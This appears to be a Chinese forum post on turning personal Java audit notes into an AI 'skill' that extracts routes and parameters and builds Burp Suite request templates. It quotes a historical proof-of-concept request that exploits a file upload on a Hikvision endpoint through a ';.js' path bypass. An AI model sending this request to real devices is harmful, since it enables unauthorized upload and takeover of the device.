找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3680

积分

0

好友

480

主题
发表于 1 小时前 | 查看: 5| 回复: 0

“让AI作为你的技术分身,AI+skill=MY”,这就是本文的核心理念。本文将以 Java安全审计 为切入点,带你重新认识AI与skill的结合,看看如何把自己的经验注入AI,打造一把顺手的审计利器。

0.1 将自己的经验技能赋能给AI

0.1.1 结果展示

通过我构建的 java-audit-skills 项目,AI能够自动化审计大型Java应用(例如压缩后仍有738MB的大华、997MB的海康),提取出路由和参数信息,并附带教程文档,用户可以直接查看如何定位路由。

海康历史漏洞路由展示

AI在没有投喂海康漏洞信息的情况下,仅基于本skill直接生成了如下结果(Burp Suite请求模板):

=== [6] POST /clusters/ssl/file ===
位置: ClusterController.uploadSslFile (com/hikvision/clustermgr/module/transfer/controller/ClusterController.java:260)
HTTP 方法: POST
URL 路径: /clusterMgr/clusters/ssl/file
安全风险: 文件上传 - SSL证书上传
Burp Suite 请求模板:
POST /clusterMgr/clusters/ssl/file HTTP/1.1
Host: {host}
Content-Type: multipart/form-data; boundary=---WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="sslFile"; filename="{{filename}}"
Content-Type: application/octet-stream

{binary_data}
-----WebKitFormBoundary
Content-Disposition: form-data; name="proxyId"

{proxy_id}
-----WebKitFormBoundary--

历史POC:

POST /clusterMgr/clusters/ssl/file;.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/112.0.0.0 Safari/537.36
Accept: */*
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=------------------------xxxxxxxxxx

------------------------xxxxxxxxxx
Content-Disposition: form-data; name="file"; filename="languages/default.png"
Content-Type: image/png
<%=%123%>
------------------------xxxxxxxxxx
Content-Disposition: form-data; name="proxyAddress"
8.8.8.8
------------------------xxxxxxxxxx

可以看到,AI精准定位到了文件上传类漏洞,并构造了可供Burp Suite直接使用的请求包。

0.2 前期配置

审计大型Java应用(通常基于 Spring Boot 等框架开发)需要一套自动化工具链,接下来是所需的基础环境:

0.2.1 让AI读懂自己的笔记

通过Notion MCP,让AI读取我的私人笔记,并自动提炼为提纲:

  • AI首先搜索Notion工作区中的内容,获取到我的Java审计相关页面;
  • 然后读取主页面下的子页面结构,生成完整的学习路径;
  • 最后输出如下的课程体系概要:
二、审计基础与技巧
- lib 库(搜索不到函数)
- 路由
- 鉴权
- 传参
- URL 解析差异性导致的安全问题

三、课程体系(17节课)
基础篇
1. 第一节课:JAVA 基础 & SE & 面向对象
2. 第二节课:Spring Boot & Servlet & MVC 框架
3. 第三节课:Servlet & Spring Boot & Shiro & 鉴权机制-案例

审计入门篇
4. 第四节课:反编译、审计技巧 & SQL & 组件利用 + 案例
5. 第五节课:上传 & 读取 & 下载 - 案例
6. 第六节课:Xxe & SSRF 漏洞 & Struts2 审计案例
7. 第八节课:JAVA 反射 & 动态类加载

反序列化篇
8. 第九节课:JAVA 反序列化
9. 第十节课:CC1 链分析
10. 第十一节课:CC6 & CC4(作业)& 反序列化漏洞案例

高级漏洞篇
11. 第十二节课:RCE 漏洞审计
12. 第十三节课:RMI 注入 & 攻击方式
13. 第十四节课:JNDI 注入 & 原理讲解 & 工具使用
14. 第十六节课:FastJson & Log4j & Xstream & JDBC 反序列化 & 4 个实战漏洞分析
15. 第十七节课:Tomcat 内存马浅析

至此,我的个人经验已经被AI完整“消化”。

0.2.2 让AI根据笔记写出skill

利用 skill-creator,让AI结合已梳理的笔记,帮我生成一个专属的skill。

可以通过 /skill-creator-zh 命令触发(这是我自行汉化的版本),也可以通过自然对话触发。AI会按照以下五步引导你完成技能创建:

  1. 分析你的Notion内容,明确技能类型;
  2. 规划技能结构,明确所需脚本、参考资料等;
  3. 初始化技能(使用 init_skill.py 创建模板);
  4. 实现技能内容(编写 SKILL.md 和相关资源);
  5. 打包技能,生成可分发的 .skill 文件。

编写skill技巧

用Gemini辅助提问
先让AI(如Gemini)针对你的目标提问,帮你理清需求,得到一段高质量的提示词,再交给Claude Code去实现skill。例如:

需要提问,帮助解决问题,背景:编写一个网络安全java 路由代码审计skill,现在需要一段提示词给claude code来编写skill,需要提问信息,完善提示词

AI会针对Java路由的复杂性(涉及Servlet、Spring Boot、JAX-RS等多种框架)提出4个维度的关键问题,帮助你细化框架范围、审计深度等。你只需回答这些问题,就能拿到一份专业的提示词。

经过AI提问之后的提示词如下:

Task: 请为我编写一个高级自定义 Skill,命名为 java-route-extractor-pro。
Skill 核心逻辑: 该 Skill 需要集成 Notion MCP(用于检索参考规范)和 Java Decompiler MCP(用于分析字节码),自动化提取 Java 全量路由并生成 Burp 数据包。
请按以下步骤实现该 Skill:
1. 知识库对齐 (Notion Integration)
参考检索: 在开始编写 Skill 逻辑前,必须调用 Notion MCP 搜索关键词(如 "Java 审计规范"、"Burp 模板"、"路由规则")。
规则注入: 将从 Notion 中检索到的数据包格式要求或特殊路由处理逻辑,注入到本 Skill 的生成策略中。
2. 增强型路由识别 (Hybrid Discovery)
静态分析: 扫描源码中的 Spring Boot (@RequestMapping), JAX-RS, Servlet 注解。
深度反编译: 遇到依赖库或 .class 文件定义的路由/DTO,必须调用 java-decompiler-mcp。即使参数定义在父类或关联的 JAR 包中,也要追踪到底。
3. 全参数 DTO 展开 (Deep Parameter Mapping)
参数完整性: 禁止省略任何字段。对于拥有 20+ 参数的复杂对象,需递归解析所有层级的成员变量。
智能 Mock: 根据 Java 类型生成测试值。
若 Notion 中定义了特定的测试 Payload(如 XSS/SQLI 探测符),请优先使用 Notion 提供的 Mock 值。
4. 自动化交付 (Output & File Action)
Burp 数据包构造: 生成 Markdown 格式的原始 HTTP 请求包。
文件持久化: 遍历全项目后,将结果汇总写入根目录的 audit_full_api_report.md。

先审查,再执行
为了防止一次性跑偏,一定要让AI先列出方案,经你确认后再正式编写。提示词可以像这样:

只需要列出方案,需要审核内容方案通过之后,才能实际编写

AI会先展示它将调用的MCP、扫描路径、输出结构等,确认无误后才会动手。

完成Skill编写后,可以新开一个Claude窗口来逐步测试和调优。最终的Skill目录结构大致如下:

java-route-extractor-pro/
├── SKILL.md
├── scripts/
│   └── route_extractor.py
├── references/
│   └── java_frameworks.md
└── assets/
    └── report_template.md

让AI训练数据提升skill

获得最初的skill后,还需要不断迭代优化:

  1. 运行skill,得到审计结果;
  2. 审计结果并找出不足,让AI总结缺陷;
  3. 使用类似下面的提示词,让AI反思并提出优化方案:
读取当前目录下的结果,这个是java-skill生成的结果,不足点:1、xxx  2、xxx 3、xxx,除了这些还有没有什么的不足的地方?(目的是:审计出java路由以及参数,形成burpsuite数据包并写成md文档)列出不足点,以及如何优化的方案,如何优化java-skill

反复执行这个过程,直到输出的结果真正满足你的要求。

0.3 总结

java-audit-skills 是我基于个人笔记和经验沉淀而成的一份skill,专门用于Java代码审计的自动化流程。通过它,即使是压缩后仍高达738MB的大华应用、997MB的海康应用,也能够完整提取出路由和参数信息,并输出教程文档。这种AI+Skill的组合正在颠覆传统的安全审计方式,如果你想深入探索,不妨来云栈社区一起交流,碰撞更多灵感。




上一篇:大疆Pocket 4P vs 影石Luna:价格博弈下,谁先上市就买谁?
下一篇:AI Skills 五大安全隐患与实战防御:从LLM越权到沙箱隔离
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-6-7 20:26 , Processed in 1.154516 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表